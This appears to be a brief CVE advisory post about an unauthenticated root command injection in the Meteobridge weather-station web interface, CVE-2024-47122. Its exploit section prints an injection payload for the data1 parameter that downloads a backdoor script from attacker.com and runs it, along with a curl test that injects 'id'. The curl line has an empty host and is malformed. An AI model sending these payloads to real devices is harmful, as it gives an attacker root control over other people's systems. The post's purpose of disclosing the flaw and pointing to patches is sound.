Meteobridge, OS Command Injection, CVE-2024-47122 (Critical)

Listen to this Post

How the mentioned CVE works

The vulnerability exists within the Meteobridge web interface, which is built using CGI scripts. A specific endpoint, /cgi-bin/meteo.sh, does not properly sanitize user-supplied input in the `data1` POST parameter. When a crafted HTTP POST request is sent to this endpoint, the unsanitized input from the `data1` parameter is passed directly to a system shell command. This allows a remote, unauthenticated attacker to inject arbitrary operating system commands by embedding them within the `data1` parameter. Since the Meteobridge service runs with root privileges, the injected commands are also executed with full system-level (root) access, granting the attacker complete control over the underlying device.
Platform: Meteobridge devices
Version: Prior to 2024-11-14
Vulnerability: OS Command Injection
Severity: Critical

date: 2024-11-14

Prediction: Patch available

What Undercode Say:

Analytics

`curl -X POST http:///cgi-bin/meteo.sh -d “data1=;id”`

`cat /cgi-bin/meteo.sh | grep data1`

`ps aux | grep meteobridge`

How Exploit:

`POST /cgi-bin/meteo.sh`

`data1=;wget http://attacker.com/backdoor.sh -O /tmp/bd.sh; sh /tmp/bd.sh`

Protection from this CVE

Update firmware immediately.

Network segmentation.

Input validation.

Impact:

Full system compromise.

Arbitrary command execution.

Root privilege access.

🎯Let’s Practice Exploiting & Learn Patching For Free:

Sources:

Reported By: www.cve.org
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top